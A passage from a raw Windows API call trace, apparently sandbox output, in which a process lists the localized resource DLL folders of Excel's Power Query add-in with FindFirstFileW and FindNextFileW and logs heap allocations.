0xc19df8 [0112.209] GetProcessHeap () returned 0xc00000 [0112.210] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0112.210] GetProcessHeap () returned 0xc00000 [0112.210] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0112.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0112.229] GetProcessHeap () returned 0xc00000 [0112.229] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0112.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe6, cFileName=".", cAlternateFileName="")) returned 0x37e8818 [0112.244] GetProcessHeap () returned 0xc00000 [0112.244] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea1a0 [0112.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\*", lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e86d8 [0112.259] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.262] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0112.262] GetProcessHeap () returned 0xc00000 [0112.262] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0112.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8218 [0113.263] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.263] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0113.263] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0113.263] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0113.263] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0113.263] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0113.263] FindClose (in: hFindFile=0x37e8218 | out: hFindFile=0x37e8218) returned 1 [0113.264] GetProcessHeap () returned 0xc00000 [0113.264] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0113.264] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0113.264] GetProcessHeap () returned 0xc00000 [0113.264] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0113.264] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8218 [0114.007] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.007] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f7b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f7b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.008] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.008] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.008] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.008] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0114.008] FindClose (in: hFindFile=0x37e8218 | out: hFindFile=0x37e8218) returned 1 [0114.009] GetProcessHeap () returned 0xc00000 [0114.009] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.009] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0114.009] GetProcessHeap () returned 0xc00000 [0114.009] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8718 [0114.012] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.012] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.012] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61b241f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.012] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.012] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.013] FindNextFileW (in: hFindFile=0x37e8718, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0114.013] FindClose (in: hFindFile=0x37e8718 | out: hFindFile=0x37e8718) returned 1 [0114.014] GetProcessHeap () returned 0xc00000 [0114.014] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.014] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0114.014] GetProcessHeap () returned 0xc00000 [0114.014] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e83d8 [0114.018] FindNextFileW (in: hFindFile=0x37e83d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.018] FindNextFileW (in: hFindFile=0x37e83d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.018] FindNextFileW (in: hFindFile=0x37e83d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf134fca5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.018] FindNextFileW (in: hFindFile=0x37e83d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb654e78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb654e78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb67b102, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.018] FindNextFileW (in: hFindFile=0x37e83d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.018] FindNextFileW (in: hFindFile=0x37e83d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0114.018] FindClose (in: hFindFile=0x37e83d8 | out: hFindFile=0x37e83d8) returned 1 [0114.019] GetProcessHeap () returned 0xc00000 [0114.019] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.020] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0114.020] GetProcessHeap () returned 0xc00000 [0114.020] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8518 [0114.031] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.031] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x605aed7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x605aed7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6081126, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.031] FindNextFileW (in: hFindFile=0x37e8518, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, 